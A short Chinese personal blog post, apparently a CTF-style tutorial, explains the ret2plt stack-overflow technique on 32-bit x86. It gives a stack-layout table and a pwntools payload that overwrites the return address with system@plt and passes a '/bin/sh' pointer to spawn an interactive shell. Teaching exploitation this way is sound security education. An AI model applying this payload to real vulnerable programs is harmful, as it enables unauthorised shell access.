Ciallo~(∠・ω< )⌒★

  • 首页
  • 隐私政策
Shizuku's Blog
Ciallo~(∠・ω< )⌒★
  1. 首页
  2. Linux
  3. Pwn&Reverse
  4. 正文

ret2plt for x86

2026年3月8日 87点热度 0人点赞 0条评论

ret2plt for x86

观察栈

e.g.:

-0000000000000088     _BYTE buf[136];
+0000000000000000     _DWORD __saved_registers;
+0000000000000004     _UNKNOWN *__return_address;

覆盖

溢出位置 填充内容 说明
Buffer (136 bytes) $A * 136$ 淹没缓冲区
Saved EBP (4 bytes) $B * 4$ 淹没旧基址
Return Address 目标函数地址 比如 system() 的地址
Next Return (4 bytes) 退出地址 / 垃圾数据 目标函数执行完后跳转的位置(通常填 exit() 或 main() 地址)
Parameter 1 参数地址 比如指向 /bin/sh 字符串的指针

Script


'''
 _system:
 .plt:08048320                 jmp     ds:off_804A010

 .text:08048480 ; int __cdecl main(int argc, const char **argv, const char **envp)

 .data:0804A024 hint            db '/bin/sh',0
'''

payload = b'a' * 0x88 + b"a" * 0x4 + p32(0x08048320) + p32(0x08048480) + p32(0x0804A024)
io.sendlineafter(b":\n", payload)

io.interactive()

上述的地址:

  • 0x08048320 是 system() 函数在 PLT 中的地址。
  • 0x08048480 是 main() 函数的地址,作为 system() 执行完后的返回地址。
  • 0x0804A024 是存储字符串 /bin/sh 的地址,作为 system() 的参数。
本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可
标签: 暂无
最后更新:2026年3月8日

ShizukuAqua

这个人很懒,什么都没留下

点赞
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

归档

  • 2026 年 3 月
  • 2026 年 2 月
  • 2026 年 1 月
  • 2025 年 11 月

分类

  • ESP32
  • Linux
  • MCU
  • Pwn&Reverse
  • Rust
  • 前端技术

COPYRIGHT © 2026 Ciallo~(∠・ω< )⌒★. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang

蜀ICP备2025171572号